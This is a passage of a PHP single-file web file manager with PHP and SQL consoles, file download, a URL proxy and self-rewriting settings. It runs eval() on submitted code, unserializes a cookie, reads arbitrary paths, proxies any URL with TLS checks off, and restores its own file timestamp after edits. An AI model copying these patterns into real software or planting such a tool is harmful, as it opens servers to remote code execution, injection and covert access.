else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSF